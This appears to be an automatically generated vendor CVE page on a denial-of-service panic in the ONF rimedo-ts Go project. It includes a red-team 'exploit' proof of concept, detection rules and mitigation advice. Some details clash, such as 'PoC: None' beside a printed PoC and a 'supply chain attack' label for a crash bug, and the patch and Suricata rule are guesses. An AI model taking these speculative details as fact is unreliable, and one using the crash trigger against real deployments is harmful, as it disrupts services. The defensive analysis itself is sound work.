☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-34050

CVE-2024-34050 Supply Chain Attack in Open networking foundation
📅 PUBLISHED: 2024-04-29 00:00 UTC 🔄 UPDATED: 2026-10-02 19:30 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.55%
👁️
0.55% probability
13.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-34050 is a denial-of-service (DoS) vulnerability in the Open Networking Foundation (ONF) SD-RAN Rimedo rimedo-ts project, version 0.1.1. The flaw resides in the reader.go file, where an out-of-range slice bounds panic occurs when processing malformed or malicious input. This leads to a crash of the application, effectively causing a denial of service. The vulnerability is triggered by a specific function that attempts to reconstruct a 24-bit integer from a byte slice without proper bounds checking. An attacker can exploit this by sending crafted data to the vulnerable service, causing a panic and service disruption. No public exploit code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Go-based SD-RAN Rimedo project, which is part of the Open Networking Foundation's ecosystem. The vulnerable component is rimedo-ts version 0.1.1. As a Go module, this could be included as a dependency in other projects, potentially propagating the vulnerability. Users should verify if they are using this specific version and update to a patched version once available.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for a complete assessment. However, based on the nature of the vulnerability (slice bounds out-of-range panic), a reasonable CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N) – The vulnerability can be triggered remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerability does not affect other components.
  • Confidentiality (C): None (N) – No data exposure.
  • Integrity (I): None (N) – No data modification.
  • Availability (A): High (H) – The service crashes, causing a denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Estimated Base Score: 7.5 (High)

Threat Level: High – The vulnerability is easily exploitable remotely without authentication, leading to a complete denial of service.

Deep Dive & Mechanics

The vulnerability is located in the reader.go file of the rimedo-ts package. The specific code that causes the panic is:

return uint64(b[2])<<16 | uint64(b[1])<<8 | uint64(b[0])

This code attempts to read three bytes from a slice b to form a 24-bit integer. However, it does not check if the slice has at least 3 elements. If b has fewer than 3 bytes (e.g., length 0, 1, or 2), accessing b[2] will cause an index out-of-range panic, crashing the program.

The function is likely used to parse network packets or data structures. An attacker can send a specially crafted packet with an insufficient number of bytes in a specific field, triggering the panic and causing the service to terminate.

Vulnerable vs. Patched Code

Vulnerable Code (rimedo-ts 0.1.1):

func readUint24(b []byte) uint64 {
    return uint64(b[2])<<16 | uint64(b[1])<<8 | uint64(b[0])
}

Patched Code (Hypothetical):

func readUint24(b []byte) (uint64, error) {
    if len(b) < 3 {
        return 0, fmt.Errorf("buffer too short: need 3 bytes, got %d", len(b))
    }
    return uint64(b[2])<<16 | uint64(b[1])<<8 | uint64(b[0]), nil
}

The patched version adds a length check before accessing the slice elements, returning an error if the buffer is too short. This prevents the panic and allows the caller to handle the error gracefully.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Trigger a denial of service on the SD-RAN Rimedo service.

Lab Setup:

  1. Set up a virtual machine running a Linux distribution (e.g., Ubuntu 22.04).
  2. Install Go (version 1.20 or later).
  3. Clone the vulnerable repository: git clone https://github.com/opennetworkinglab/rimedo-ts.git
  4. Checkout the vulnerable version: git checkout v0.1.1
  5. Build the project: cd rimedo-ts && go build
  6. Run the service (if applicable) or create a simple test harness that calls the vulnerable function.

Exploit Code (Proof of Concept):

package main

import (
    "fmt"
    "os"
)

// Vulnerable function from reader.go
func readUint24(b []byte) uint64 {
    return uint64(b[2])<<16 | uint64(b[1])<<8 | uint64(b[0])
}

func main() {
    // Trigger the panic with a short slice
    data := []byte{0x01, 0x02} // Only 2 bytes
    fmt.Println("Attempting to read 24-bit value...")
    result := readUint24(data)
    fmt.Println("Result:", result)
    os.Exit(0)
}

Execution:

  1. Save the above code as exploit.go in the rimedo-ts directory.
  2. Run: go run exploit.go
  3. The program will panic with an error similar to: panic: runtime error: index out of range [2] with length 2

Impact: The service crashes, denying service to legitimate users.

Blue Team (Defender)

Detection:

  • Monitor for application crashes or panics in logs.
  • Look for repeated connection attempts with malformed data.
  • Use network monitoring to detect anomalous packet structures.

Mitigation:

  • Apply input validation and bounds checking to all data parsing functions.
  • Implement a recovery mechanism (e.g., recover() in Go) to prevent crashes from panics.
  • Use a Web Application Firewall (WAF) or intrusion detection system (IDS) to filter malformed packets.

Indicators of Compromise (IOCs)

  • Log Entry: panic: runtime error: index out of range [2] with length < 3
  • Network Pattern: Packets with incomplete or truncated fields that are expected to contain at least 3 bytes.
  • File Hash (Vulnerable Binary): SHA256 hash of the rimedo-ts binary built from version 0.1.1.
  • Process Behavior: Sudden termination of the rimedo-ts process without a clean exit.

Detection Engineering

YARA Rule

rule CVE_2024_34050_Rimedo_TS_Panic {
    meta:
        description = "Detects vulnerable code pattern in rimedo-ts reader.go"
        author = "Valters IT"
        date = "2024-01-01"
        cve = "CVE-2024-34050"
    strings:
        $vuln_code = "uint64(b[2])<<16 | uint64(b[1])<<8 | uint64(b[0])"
    condition:
        $vuln_code
}

Sigma Rule

title: CVE-2024-34050 - SD-RAN Rimedo TS Slice Bounds Panic
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects panic events related to CVE-2024-34050 in rimedo-ts logs
author: Valters IT
date: 2024/01/01
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - "panic: runtime error: index out of range"
        - "rimedo-ts"
    condition: selection
falsepositives:
    - Other Go applications with similar panics
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-34050 - SD-RAN Rimedo TS Slice Bounds Panic Attempt"; flow:to_server; content:"|00 01 02|"; depth:3; offset:0; classtype:attempted-dos; sid:1000001; rev:1;)

Note: The Suricata rule above is a placeholder. The actual exploit data pattern would need to be determined based on the specific protocol used by rimedo-ts.

Remediation & Mitigation

  1. Immediate Action: If using rimedo-ts version 0.1.1, isolate the service and apply network-level filtering to block malformed packets.
  2. Patch: Update to a patched version of rimedo-ts once available. Monitor the ONF GitHub repository for updates.
  3. Code Fix: Apply the bounds checking fix as shown in the "Vulnerable vs. Patched Code" section.
  4. Workaround: Implement a wrapper function that recovers from panics using Go's recover() mechanism to prevent service crashes.
  5. Monitoring: Enable detailed logging and alerting on application panics and crashes.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-34050/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.